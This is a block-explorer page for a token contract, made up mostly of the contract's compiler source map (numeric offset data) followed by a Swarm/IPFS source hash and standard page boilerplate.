;:::-;:37;16178:85;;;;-1:-1:-1;;;16178:85:0;;8036:2:1;16178:85:0;;;8018:21:1;8075:2;8055:18;;;8048:30;8114:34;8094:18;;;8087:62;-1:-1:-1;;;8165:18:1;;;8158:33;8208:19;;16178:85:0;7834:399:1;16178:85:0;-1:-1:-1;;;;;16299:24:0;;;;;;:18;:24;;;;;;;;16295:114;;;16348:37;16368:4;16374:2;16378:6;16348:19;:37::i;:::-;16344:50;;;15532:2358;;;:::o;16344:50::-;16425:28;16456:24;16474:4;16456:9;:24::i;:::-;16534:19;;16582:13;;16425:55;;-1:-1:-1;16510:43:0;;;;-1:-1:-1;;;;;16582:13:0;;;16574:21;;;;16570:219;;-1:-1:-1;;;;;16620:22:0;;;;;;:18;:22;;;;;;:27;;16616:78;;-1:-1:-1;;;;;16651:22:0;;;;;;:18;:22;;;;;16676:15;16651:40;;16616:78;16570:219;;;16739:6;;-1:-1:-1;;;16739:6:0;;;;16734:40;;16749:15;:22;;-1:-1:-1;;;;;;16749:22:0;-1:-1:-1;;;;;16749:22:0;;;;;16734:40;16831:12;;16807:20;:36;16803:82;;16870:12;;16847:35;;16803:82;16903:7;:18;;;;-1:-1:-1;16915:6:0;;-1:-1:-1;;;16915:6:0;;;;16914:7;16903:18;:43;;;;-1:-1:-1;16933:13:0;;-1:-1:-1;;;;;16925:21:0;;;16933:13;;16925:21;;16903:43;:58;;;;-1:-1:-1;16950:11:0;;-1:-1:-1;;;16950:11:0;;;;16903:58;:87;;;;-1:-1:-1;;;;;;16966:24:0;;;;;;:18;:24;;;;;;;;16965:25;16903:87;:114;;;;-1:-1:-1;;;;;;16995:22:0;;;;;;:18;:22;;;;;;;;16994:23;16903:114;16899:390;;;17067:21;17111:22;;17107:167;;17158:38;17175:20;17158:16;:38::i;:::-;17219:35;17232:21;17219:12;:35::i;:::-;17019:270;16899:390;15881:1419;;15843:1457;-1:-1:-1;;;;;17347:24:0;;17312:12;17347:24;;;:18;:24;;;;;;17327:4;;17347:24;;;:50;;-1:-1:-1;;;;;;17375:22:0;;;;;;:18;:22;;;;;;;;17347:50;17346:102;;;-1:-1:-1;17411:13:0;;-1:-1:-1;;;;;17403:21:0;;;17411:13;;17403:21;;;;:44;;-1:-1:-1;17434:13:0;;-1:-1:-1;;;;;17428:19:0;;;17434:13;;17428:19;;17403:44;17342:489;;;-1:-1:-1;17475:5:0;17342:489;;;17524:13;;-1:-1:-1;;;;;17516:21:0;;;17524:13;;17516:21;:55;;;;-1:-1:-1;17555:15:0;;-1:-1:-1;;;;;17541:30:0;;;17555:15;;17541:30;;17516:55;17513:145;;;17604:14;;17592:9;:26;17630:12;;17620:7;:22;17513:145;17682:13;;-1:-1:-1;;;;;17676:19:0;;;17682:13;;17676:19;:55;;;;-1:-1:-1;17715:15:0;;-1:-1:-1;;;;;17699:32:0;;;17715:15;;17699:32;;17676:55;17672:148;;;17764:15;;17752:9;:27;17791:13;;17781:7;:23;17672:148;17841:41;17856:4;17862:2;17866:6;17874:7;17841:14;:41::i;:::-;15601:2289;15532:2358;;;:::o;4310:190::-;4396:7;4432:12;4424:6;;;;4416:29;;;;-1:-1:-1;;;4416:29:0;;;;;;;;:::i;:::-;-1:-1:-1;4456:9:0;4468:5;4472:1;4468;:5;:::i;:::-;4456:17;4310:190;-1:-1:-1;;;;;4310:190:0:o;14579:254::-;14647:7;14686;;14675;:18;;14667:73;;;;-1:-1:-1;;;14667:73:0;;8573:2:1;14667:73:0;;;8555:21:1;8612:2;8592:18;;;8585:30;8651:34;8631:18;;;8624:62;-1:-1:-1;;;8702:18:1;;;8695:40;8752:19;;14667:73:0;8371:406:1;14667:73:0;14751:19;14773:10;:8;:10::i;:::-;14751:32;-1:-1:-1;14801:24:0;:7;14751:32;14801:11;:24::i;19181:306::-;-1:-1:-1;;;;;19299:36:0;;19278:4;19299:36;;;:25;:36;;;;;;;;19295:162;;;19378:6;19358:17;19368:6;19358:9;:17::i;:::-;:26;19354:92;;;19417:4;;19388:42;;19406:9;;-1:-1:-1;;;;;19417:4:0;19423:6;19388:17;:42::i;:::-;-1:-1:-1;19439:4:0;19432:11;;19354:92;-1:-1:-1;19474:5:0;19181:306;;;;;:::o;18678:407::-;9440:6;:13;;-1:-1:-1;;;;9440:13:0;-1:-1:-1;;;9440:13:0;;;18780:16:::1;::::0;;18794:1:::1;18780:16:::0;;;;;::::1;::::0;;-1:-1:-1;;18780:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;18780:16:0::1;18756:40;;18825:4;18807;18812:1;18807:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;18807:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;18851:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;18851:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;18807:7;;18851:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18841:4;18846:1;18841:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;18841:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;18916:15:::1;::::0;18884:62:::1;::::0;18901:4:::1;::::0;18916:15:::1;18934:11:::0;18884:8:::1;:62::i;:::-;18957:15;::::0;:120:::1;::::0;-1:-1:-1;;;18957:120:0;;-1:-1:-1;;;;;18957:15:0;;::::1;::::0;:66:::1;::::0;:120:::1;::::0;19024:11;;18957:15:::1;::::0;19040:4;;19054::::1;::::0;19061:15:::1;::::0;18957:120:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;9476:6:0;:14;;-1:-1:-1;;;;9476:14:0;;;-1:-1:-1;;;;18678:407:0:o;19093:80::-;19141:12;;:29;;-1:-1:-1;;;;;19141:12:0;;;;:29;;;;;19163:6;;19141:12;:29;:12;:29;19163:6;19141:12;:29;;;;;;;;;;;;;;;;;;;;;19093:80;:::o;17898:239::-;18011:7;18006:28;;18020:14;:12;:14::i;:::-;18045:44;18063:6;18071:9;18082:6;18045:17;:44::i;:::-;18105:7;18100:29;;18114:15;15120:17;;15108:9;:29;15158:15;;15148:7;:25;15064:117;13489:164;13531:7;13552:15;13569;13588:19;:17;:19::i;:::-;13551:56;;-1:-1:-1;13551:56:0;-1:-1:-1;13625:20:0;13551:56;;13625:11;:20::i;:::-;13618:27;;;;13489:164;:::o;4736:132::-;4794:7;4821:39;4825:1;4828;4821:39;;;;;;;;;;;;;;;;;:3;:39::i;18145:525::-;18244:15;18261:23;18286:12;18300:23;18325:12;18339:13;18356:38;18367:6;18375:9;18386:7;18356:10;:38::i;:::-;-1:-1:-1;;;;;18423:15:0;;;;;;:7;:15;;;;;;18243:151;;-1:-1:-1;18243:151:0;;-1:-1:-1;18243:151:0;;-1:-1:-1;18243:151:0;-1:-1:-1;18243:151:0;-1:-1:-1;18243:151:0;-1:-1:-1;18423:28:0;;18243:151;18423:19;:28::i;:::-;-1:-1:-1;;;;;18405:15:0;;;;;;;:7;:15;;;;;;:46;;;;18483:18;;;;;;;:39;;18506:15;18483:22;:39::i;:::-;-1:-1:-1;;;;;18462:18:0;;;;;;:7;:18;;;;;:60;18533:35;18543:5;18550:6;18470:9;18533;:35::i;:::-;18579:23;18591:4;18597;18579:11;:23::i;:::-;18635:9;-1:-1:-1;;;;;18618:44:0;18627:6;-1:-1:-1;;;;;18618:44:0;;18646:15;18618:44;;;;1613:25:1;;1601:2;1586:18;;1467:177;18618:44:0;;;;;;;;18232:438;;;;;;18145:525;;;:::o;14841:215::-;14888:9;;:14;:30;;;;-1:-1:-1;14906:7:0;;:12;14888:30;14884:43;;;14841:215::o;14884:43::-;14957:9;;;14937:17;:29;14995:7;;;14977:15;:25;-1:-1:-1;15013:13:0;;;;15037:11;14841:215::o;13807:248::-;13905:7;;13858;;;;9000:15;13964:20;13905:7;9000:15;13964:11;:20::i;:::-;13954:7;:30;13950:61;;;-1:-1:-1;;13994:7:0;;;9000:15;;-1:-1:-1;13807:248:0;-1:-1:-1;13807:248:0:o;13950:61::-;14030:7;;14039;;-1:-1:-1;13807:248:0;-1:-1:-1;13807:248:0:o;4874:189::-;4960:7;4995:12;4988:5;4980:28;;;;-1:-1:-1;;;4980:28:0;;;;;;;;:::i;:::-;-1:-1:-1;5019:9:0;5031:5;5035:1;5031;:5;:::i;12090:613::-;12170:7;12179;12188;12197;12206;12215;12236:23;12261:12;12275:13;12292:40;12304:7;12313:9;;12324:7;;12292:11;:40::i;:::-;12235:97;;-1:-1:-1;12235:97:0;-1:-1:-1;12235:97:0;-1:-1:-1;12358:4:0;12343:12;12386:10;:8;:10::i;:::-;12419:13;;12364:32;;-1:-1:-1;;;;;;12411:21:0;;;12419:13;;12411:21;:47;;;;-1:-1:-1;;;;;;12436:22:0;;;;;;:18;:22;;;;;;;;12411:47;12407:92;;;12484:15;12470:11;:29;12407:92;12511:15;12528:23;12553:12;12569:46;12581:7;12590:4;12596:5;12603:11;12569;:46::i;:::-;12510:105;;-1:-1:-1;12510:105:0;-1:-1:-1;12510:105:0;-1:-1:-1;12666:15:0;;-1:-1:-1;12683:4:0;;-1:-1:-1;12689:5:0;;-1:-1:-1;;;;;;12090:613:0;;;;;;;;;;:::o;4168:136::-;4226:7;4253:43;4257:1;4260;4253:43;;;;;;;;;;;;;;;;;:3;:43::i;3983:179::-;4041:7;;4073:5;4077:1;4073;:5;:::i;:::-;4061:17;;4102:1;4097;:6;;4089:46;;;;-1:-1:-1;;;4089:46:0;;10711:2:1;4089:46:0;;;10693:21:1;10750:2;10730:18;;;10723:30;10789:29;10769:18;;;10762:57;10836:18;;4089:46:0;10509:351:1;11650:432:0;11731:19;11753:10;:8;:10::i;:::-;11731:32;-1:-1:-1;11774:13:0;11790:22;:5;11731:32;11790:9;:22::i;:::-;11835:13;;11774:38;;-1:-1:-1;;;;;;11827:21:0;;;11835:13;;11827:21;;;;:50;;-1:-1:-1;;;;;;11853:24:0;;;;;;:18;:24;;;;;;;;11852:25;11827:50;:79;;;;-1:-1:-1;;;;;;11882:24:0;;;;;;:18;:24;;;;;;;;11881:25;11827:79;11823:182;;;11935:9;;11925:20;;-1:-1:-1;;;;;11935:9:0;11925;:20::i;:::-;:25;:79;;;;-1:-1:-1;11993:11:0;;11973:15;;-1:-1:-1;;;;;11973:15:0;11954:35;;;;:18;:35;;;;;;:50;;11925:79;11917:88;;;;;;12057:4;12041:22;;;;:7;:22;;;;;;:33;;12068:5;12041:26;:33::i;:::-;12032:4;12016:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;;;11650:432:0:o;13661:138::-;13739:7;;:17;;13751:4;13739:11;:17::i;:::-;13729:7;:27;13771:10;;:20;;13786:4;13771:14;:20::i;:::-;13758:10;:33;-1:-1:-1;;13661:138:0:o;12711:353::-;12805:7;;;;12858:30;12884:3;12858:21;:7;12870:8;12858:11;:21::i;:::-;:25;;:30::i;:::-;12843:45;-1:-1:-1;12899:13:0;12915:28;12939:3;12915:19;:7;12927:6;12915:11;:19::i;:28::-;12899:44;-1:-1:-1;12954:23:0;12980:28;12899:44;12980:17;:7;12992:4;12980:11;:17::i;:::-;:21;;:28::i;:::-;12954:54;13044:4;;-1:-1:-1;13050:5:0;;-1:-1:-1;12711:353:0;;-1:-1:-1;;;;;12711:353:0:o;13072:409::-;13182:7;;;;13238:24;:7;13250:11;13238;:24::i;:::-;13220:42;-1:-1:-1;13273:12:0;13288:21;:4;13297:11;13288:8;:21::i;:::-;13273:36;-1:-1:-1;13320:13:0;13336:22;:5;13346:11;13336:9;:22::i;:::-;13320:38;-1:-1:-1;13369:23:0;13395:28;13320:38;13395:17;:7;13407:4;13395:11;:17::i;:28::-;13442:7;;;;-1:-1:-1;13468:4:0;;-1:-1:-1;13072:409:0;;-1:-1:-1;;;;;;;13072:409:0:o;4506:224::-;4564:7;4588:1;4593;4588:6;4584:25;;-1:-1:-1;4605:1:0;4598:8;;4584:25;4619:9;4631:5;4635:1;4631;:5;:::i;:::-;4619:17;-1:-1:-1;4664:1:0;4655:5;4659:1;4619:17;4655:5;:::i;:::-;:10;4647:56;;;;-1:-1:-1;;;4647:56:0;;11240:2:1;4647:56:0;;;11222:21:1;11279:2;11259:18;;;11252:30;11318:34;11298:18;;;11291:62;-1:-1:-1;;;11369:18:1;;;11362:31;11410:19;;4647:56:0;11038:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1215:247::-;1274:6;1327:2;1315:9;1306:7;1302:23;1298:32;1295:52;;;1343:1;1340;1333:12;1295:52;1382:9;1369:23;1401:31;1426:5;1401:31;:::i;1883:456::-;1960:6;1968;1976;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;:::-;2153:5;-1:-1:-1;2210:2:1;2195:18;;2182:32;2223:33;2182:32;2223:33;:::i;:::-;1883:456;;2275:7;;-1:-1:-1;;;2329:2:1;2314:18;;;;2301:32;;1883:456::o;2741:273::-;2797:6;2850:2;2838:9;2829:7;2825:23;2821:32;2818:52;;;2866:1;2863;2856:12;2818:52;2905:9;2892:23;2958:5;2951:13;2944:21;2937:5;2934:32;2924:60;;2980:1;2977;2970:12;3019:180;3078:6;3131:2;3119:9;3110:7;3106:23;3102:32;3099:52;;;3147:1;3144;3137:12;3099:52;-1:-1:-1;3170:23:1;;3019:180;-1:-1:-1;3019:180:1:o;3204:385::-;3290:6;3298;3306;3314;3367:3;3355:9;3346:7;3342:23;3338:33;3335:53;;;3384:1;3381;3374:12;3335:53;-1:-1:-1;;3407:23:1;;;3477:2;3462:18;;3449:32;;-1:-1:-1;3528:2:1;3513:18;;3500:32;;3579:2;3564:18;3551:32;;-1:-1:-1;3204:385:1;-1:-1:-1;3204:385:1:o;3594:388::-;3662:6;3670;3723:2;3711:9;3702:7;3698:23;3694:32;3691:52;;;3739:1;3736;3729:12;3691:52;3778:9;3765:23;3797:31;3822:5;3797:31;:::i;:::-;3847:5;-1:-1:-1;3904:2:1;3889:18;;3876:32;3917:33;3876:32;3917:33;:::i;:::-;3969:7;3959:17;;;3594:388;;;;;:::o;3987:356::-;4189:2;4171:21;;;4208:18;;;4201:30;4267:34;4262:2;4247:18;;4240:62;4334:2;4319:18;;3987:356::o;7572:127::-;7633:10;7628:3;7624:20;7621:1;7614:31;7664:4;7661:1;7654:15;7688:4;7685:1;7678:15;7704:125;7769:9;;;7790:10;;;7787:36;;;7803:18;;:::i;8238:128::-;8305:9;;;8326:11;;;8323:37;;;8340:18;;:::i;8914:127::-;8975:10;8970:3;8966:20;8963:1;8956:31;9006:4;9003:1;8996:15;9030:4;9027:1;9020:15;9046:251;9116:6;9169:2;9157:9;9148:7;9144:23;9140:32;9137:52;;;9185:1;9182;9175:12;9137:52;9217:9;9211:16;9236:31;9261:5;9236:31;:::i;9302:980::-;9564:4;9612:3;9601:9;9597:19;9643:6;9632:9;9625:25;9669:2;9707:6;9702:2;9691:9;9687:18;9680:34;9750:3;9745:2;9734:9;9730:18;9723:31;9774:6;9809;9803:13;9840:6;9832;9825:22;9878:3;9867:9;9863:19;9856:26;;9917:2;9909:6;9905:15;9891:29;;9938:1;9948:195;9962:6;9959:1;9956:13;9948:195;;;10027:13;;-1:-1:-1;;;;;10023:39:1;10011:52;;10118:15;;;;10083:12;;;;10059:1;9977:9;9948:195;;;-1:-1:-1;;;;;;;10199:32:1;;;;10194:2;10179:18;;10172:60;-1:-1:-1;;;10263:3:1;10248:19;10241:35;10160:3;9302:980;-1:-1:-1;;;9302:980:1:o;10287:217::-;10327:1;10353;10343:132;;10397:10;10392:3;10388:20;10385:1;10378:31;10432:4;10429:1;10422:15;10460:4;10457:1;10450:15;10343:132;-1:-1:-1;10489:9:1;;10287:217::o;10865:168::-;10938:9;;;10969;;10986:15;;;10980:22;;10966:37;10956:71;;11007:18;;:::i

Swarm Source

ipfs://b931e6fba02184abaa1abc172b718bf37b5d5764e0430c7afdba8f1c8b584d02
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.